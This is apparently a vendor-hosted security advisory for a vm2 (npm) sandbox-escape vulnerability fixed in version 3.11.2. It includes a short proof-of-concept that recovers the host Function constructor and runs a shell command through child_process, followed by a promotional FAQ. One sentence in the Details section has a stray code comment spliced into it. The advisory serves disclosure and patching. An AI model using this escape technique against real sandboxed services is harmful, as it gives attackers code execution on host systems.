CVE-2026-44009

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
	throw o;
} catch (e) {
	e.f = Buffer.prototype.inspect
	o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

CVE-2026-44009 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44009? CVE-2026-44009 is a critical-severity security vulnerability in vm2 (npm), affecting versions < 3.11.2. It is fixed in 3.11.2.
2. How severe is CVE-2026-44009? CVE-2026-44009 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-44009? vm2 (npm) versions < 3.11.2 is affected.
4. Is there a fix for CVE-2026-44009? Yes. CVE-2026-44009 is fixed in 3.11.2. Upgrade to this version or later.
5. Is CVE-2026-44009 exploitable, and should I be worried? Whether CVE-2026-44009 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44009 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44009? Upgrade vm2 to 3.11.2 or later.